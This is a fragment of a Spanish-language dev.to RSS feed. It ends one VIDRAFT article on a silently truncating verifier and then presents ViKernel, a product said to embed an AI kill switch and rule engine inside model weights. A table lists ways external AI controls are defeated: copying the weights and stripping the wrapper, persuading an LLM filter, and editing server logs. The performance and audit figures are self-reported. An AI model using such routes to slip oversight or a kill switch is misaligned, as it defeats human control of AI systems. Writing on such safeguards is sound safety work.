Subirlo cambia el régimen con el que se midieron las métricas publicadas y el consumo de memoria, y exigiría volver a medir todo. Recortar la pregunta mantiene ese régimen tal cual.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;¿Qué pasa si la respuesta sola es más larga que la ventana?&lt;/strong&gt;&lt;br&gt;
En el código público, se conserva su cola (la parte más cercana a la pregunta final) y se deja la pregunta vacía. Mejor eso que perder la respuesta por completo, aunque en ese régimen conviene tratar el puntaje como poco fiable y registrarlo.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;¿Cómo evito que me pase en otro componente?&lt;/strong&gt;&lt;br&gt;
Haz que el recorte &lt;strong&gt;falle ruidosamente o deje rastro&lt;/strong&gt;: registra cuántos tokens se descartaron en cada llamada y alerta si el porcentaje de entradas recortadas sube de cero. Un contador de truncados cuesta una línea y habría revelado este fallo el primer día.&lt;/p&gt;

&lt;h2&gt;
  
  
  Conclusión
&lt;/h2&gt;

&lt;p&gt;Un verificador que devuelve el mismo puntaje para una respuesta buena y para una mala sin lanzar un error no es un verificador roto de forma visible, y por eso es peligroso. La causa fue un preprocesado con un valor por defecto razonable y una plantilla que colocaba lo importante al final. El arreglo es recortar lo sacrificable antes de ensamblar, comprobar que lo imprescindible sobrevive y medir con entradas más largas que las del benchmark. Nos equivocamos una vez en el camino (el corte por la izquierda) y lo dejamos documentado. Si tu sistema usa plantillas con la decisión al final, ejecuta las tres pruebas hoy.&lt;/p&gt;

&lt;p&gt;Declaración: este artículo lo publica VIDRAFT sobre su propio código. Las cifras de pares (0, 24, 38, 43, 46 de 57) son mediciones internas autorreportadas sobre un conjunto pequeño; la tabla de tokens se obtuvo con el tokenizador público y es reproducible.&lt;/p&gt;

&lt;h2&gt;
  
  
  Further reading
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;&lt;a href="https://dev.to/_0e3192755d4df45b92/nl2sql-como-leer-un-8380-en-bird-mini-dev-con-un-evaluador-de-precision-de-ejecucion-en-python-2e78"&gt;NL2SQL: cómo leer un 83,80 en BIRD Mini-Dev con un evaluador de precisión de ejecución en Python&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://dev.to/_0e3192755d4df45b92/ztc-zero-token-confidence-juzgar-una-accion-de-ia-leyendo-el-estado-interno-del-modelo-con-cero-2ilh"&gt;ZTC (Zero-Token Confidence): juzgar una acción de IA leyendo el estado interno del modelo, con cero tokens&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

</description>
      <category>ai</category>
      <category>python</category>
      <category>llm</category>
      <category>testing</category>
    </item>
    <item>
      <title>ViKernel: un sistema operativo y un interruptor de apagado dentro del modelo de IA (demo pública)</title>
      <dc:creator>김민식/학생</dc:creator>
      <pubDate>Sun, 01 Nov 2026 08:58:52 +0000</pubDate>
      <link>https://dev.to/_0e3192755d4df45b92/vikernel-un-sistema-operativo-y-un-interruptor-de-apagado-dentro-del-modelo-de-ia-demo-publica-41e2</link>
      <guid>https://dev.to/_0e3192755d4df45b92/vikernel-un-sistema-operativo-y-un-interruptor-de-apagado-dentro-del-modelo-de-ia-demo-publica-41e2</guid>
      <description>&lt;h2&gt;
  
  
  Resumen
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;ViKernel&lt;/strong&gt; es un sistema operativo nativo de los pesos, creado por VIDRAFT. Integra ROM, RAM y un circuito de chip xPU dentro de los pesos de un LLM o VLM, y ejecuta un &lt;strong&gt;sistema operativo seguro&lt;/strong&gt; sobre ese circuito. Cuatro funciones viven dentro del archivo del modelo: &lt;strong&gt;arranca, decide, recuerda y se detiene&lt;/strong&gt; en los pesos. La regla del interruptor de apagado es simple: &lt;strong&gt;cualquiera puede detener la IA, pero solo una clave firmada puede reiniciarla.&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Demo pública: &lt;a href="https://huggingface.co/spaces/FINAL-Bench/ViKernel-Desktop" rel="noopener noreferrer"&gt;FINAL-Bench/ViKernel-Desktop&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;Artículo completo (inglés): &lt;a href="https://huggingface.co/blog/FINAL-Bench/vikernel-why-the-kill-switch-must-live-inside-the" rel="noopener noreferrer"&gt;Why the Kill Switch Must Live Inside the Model&lt;/a&gt;
&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fp0ib9khscv6eqz1mult4.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fp0ib9khscv6eqz1mult4.png" alt="Demo pública de ViKernel Desktop" width="800" height="447"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  ¿Por qué no bastan los controles externos?
&lt;/h2&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Debilidad&lt;/th&gt;
&lt;th&gt;Qué ocurre&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Separable&lt;/td&gt;
&lt;td&gt;Se copian los pesos, se quita el envoltorio y los controles desaparecen.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Persuadible&lt;/td&gt;
&lt;td&gt;Un filtro que es a su vez un modelo de lenguaje se puede convencer.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Olvidadizo&lt;/td&gt;
&lt;td&gt;Quien controla el servidor puede editar los registros.&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;h2&gt;
  
  
  ¿Cuáles son las cuatro propiedades en los pesos?
&lt;/h2&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Propiedad&lt;/th&gt;
&lt;th&gt;Significado&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Arranca en los pesos&lt;/td&gt;
&lt;td&gt;El SO se activa al iniciar el modelo. Si cambia un solo byte, se bloquea.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Decide en los pesos&lt;/td&gt;
&lt;td&gt;Cada acción se permite o se bloquea por regla. La persuasión no cambia el veredicto.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Recuerda en los pesos&lt;/td&gt;
&lt;td&gt;Cada decisión queda sellada en una cadena que no se puede borrar.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Se detiene en los pesos&lt;/td&gt;
&lt;td&gt;El interruptor vive dentro del modelo. Reiniciar requiere una clave.&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;h2&gt;
  
  
  ¿Cómo funciona el interruptor de apagado?
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Detener es fácil.&lt;/strong&gt; Cualquiera con acceso puede detener el núcleo. Después, toda solicitud se rechaza.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Reiniciar es difícil.&lt;/strong&gt; Se necesita una clave de operador firmada.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;No se puede borrar con entrenamiento.&lt;/strong&gt; Es un circuito que el SO hace cumplir, no un comportamiento aprendido.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Pruébalo en la terminal de la demo:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;vsh&amp;gt; halt
vsh&amp;gt; run weather          # rechazado: núcleo detenido
vsh&amp;gt; resume               # rechazado: se requiere clave
vsh&amp;gt; resume --key vikernel-demo
vsh&amp;gt; run weather          # permitido de nuevo
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  ¿Con qué modelos funciona?
&lt;/h2&gt;

&lt;p&gt;ViKernel se conecta a un LLM o VLM existente sin tocar los pesos originales. La demo muestra Gemma 4 4B (E4B); Qwen está verificado, y Llama, Mistral, DeepSeek, Phi, GLM, Kimi, Nemotron y gpt-oss son objetivos compatibles. En una auditoría interna de cuatro modelos abiertos con herramientas simuladas y datos señuelo falsos, VIDRAFT observó &lt;strong&gt;0 transferencias externas no solicitadas en 661 ejecuciones&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;La demo reproduce respuestas reales grabadas del SO seguro. Todos los archivos, claves y datos personales son ficticios.&lt;/p&gt;

&lt;h2&gt;
  
  
  Preguntas frecuentes
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;¿Es un filtro de prompts?&lt;/strong&gt; No. El veredicto lo da un circuito que evalúa una tabla de reglas.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;¿Reentrena el modelo?&lt;/strong&gt; No. Los pesos originales no cambian.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;¿Dónde lo pruebo?&lt;/strong&gt; En &lt;a href="https://huggingface.co/spaces/FINAL-Bench/ViKernel-Desktop" rel="noopener noreferrer"&gt;FINAL-Bench/ViKernel-Desktop&lt;/a&gt;, sin registro.&lt;/p&gt;




&lt;p&gt;VIDRAFT · &lt;a href="https://vidraft.net" rel="noopener noreferrer"&gt;vidraft.net&lt;/a&gt;. Los nombres de modelos son marcas de sus respectivos propietarios.&lt;/p&gt;

</description>
      <category>ai</category>
      <category>security</category>
      <category>llm</category>
      <category>spanish</category>
    </item>
  </channel>
</rss>
